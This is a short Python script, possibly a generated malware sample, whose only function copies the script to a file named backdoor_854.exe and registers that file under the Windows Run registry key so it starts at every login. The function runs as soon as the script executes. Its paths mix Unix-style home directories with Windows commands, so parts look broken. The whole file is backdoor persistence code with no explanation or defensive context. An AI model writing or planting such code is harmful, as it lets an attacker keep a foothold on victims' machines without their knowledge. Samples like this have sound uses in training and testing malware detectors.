
import os
import subprocess

def persistence():
    if not os.path.exists("/Users/lintsinghua/backdoor_854.exe"):
        os.system(f'copy {__file__} "/Users/lintsinghua/backdoor_854.exe"')
        os.system(f'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v backdoor_609 /t REG_SZ /d "/Users/lintsinghua/backdoor_854.exe"')

persistence()
